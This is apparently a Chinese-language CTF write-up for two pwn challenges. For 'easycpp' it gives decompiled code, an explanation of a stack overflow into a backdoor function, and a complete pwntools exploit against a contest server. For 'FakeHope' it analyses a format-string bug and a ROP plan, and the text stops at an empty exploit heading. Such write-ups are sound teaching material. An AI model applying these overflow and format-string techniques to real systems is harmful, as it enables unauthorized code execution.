easycpp
std::ios_base::width 这段代码设置了输入长度为96,buf距离rbp的距离为 0x90,不过 strcmp(s1, s2); 这里cmp成功的话走到后边cpy就会有一个溢出,程序存在一个backdoor函数,ret2text
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // rax
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
char s2[96]; // [rsp+0h] [rbp-90h] BYREF
char s1[44]; // [rsp+60h] [rbp-30h] BYREF
unsigned int v21; // [rsp+8Ch] [rbp-4h]
init();
v3 = std::operator<<<char>(&std::cout, &str02[abi:cxx11]);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<char>(&std::cout, &str03[abi:cxx11]);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<char>(&std::cout, &str04[abi:cxx11]);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v6 = std::operator<<<char>(&std::cout, &str05[abi:cxx11]);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<char>(&std::cout, &str06[abi:cxx11]);
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<char>(&std::cout, &str07[abi:cxx11]);
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v9 = std::operator<<<char>(&std::cout, &str08[abi:cxx11]);
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
v10 = std::operator<<<char>(&std::cout, &str09[abi:cxx11]);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v11 = std::operator<<<char>(&std::cout, &str10[abi:cxx11]);
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v12 = std::operator<<<char>(&std::cout, &str11[abi:cxx11]);
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
v13 = std::operator<<<char>(&std::cout, &str12[abi:cxx11]);
v14 = std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
v15 = std::operator<<<char>(&std::cout, &str01[abi:cxx11]);
std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
v16 = std::operator<<<std::char_traits<char>>(&std::cout, "Tell me,which ctf is the best CTF?");
std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
std::ios_base::width((std::ios_base *)&unk_404250, 96LL);
std::operator>><char,std::char_traits<char>>(&std::cin, s2);
v17 = std::operator<<<std::char_traits<char>>(&std::cout, s2);
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
strcpy(s1, "HZNUCTF,bestCTF!");
v21 = strcmp(s1, s2);
std::ostream::operator<<(&std::cout, v21);
if ( v21 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Well, maybe you can try to believe HZNUCTF.");
}
else
{
memcpy(s1, s2, 0x60uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "You are right!");
std::operator<<<std::char_traits<char>>(&std::cout, s1);
}
return 0;
}
exp:
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "150.158.117.224"
PORT = 20023
elf = context.binary = ELF('./easycpp')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
backdoor = 0x4012FE
payload = b'HZNUCTF,bestCTF!'
payload = payload.ljust(0x18,b'\x00') + p64(backdoor) * 10
# g(p)
sla("Tell me,which ctf is the best CTF?",payload)
p.interactive()
FakeHope
保护全开,同时输入函数是 scanf %s 存在 00截断,可以找一个指向栈的双重指针,通过这个双重指针往栈上写一个地址,这样就实现任意地址读写了,通过双重指针去调整这个地址,就能实现写 四个字节 八个字节的长数据,发现是低版本的libc,csu会被编译到elf里面,本来想着在buf附近用格式化字符串写rop 用csu去调整rsp的位置,但是buf那边有几个操作会修改buf里的数据,不太好布置,然后就往返回地址那写rop, 因为程序不能正常返回,不过只需要劫持子函数的返回地址为leave ret 就能正常返回了
int __cdecl main(int argc, const char **argv, const char **envp)
{
hope(argc, argv, envp);
return 0;
}
unsigned __int64 hope()
{
char format[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]
v2 = __readfsqword(0x28u);
init();
do
{
__isoc99_scanf(&unk_2004, format);
printf(format);
putchar(10);
}
while ( strcmp(format, "exit") );
system("echo FakeHope");
return __readfsqword(0x28u) ^ v2;
}
exp写的很烂,不过懒得改了(
exp: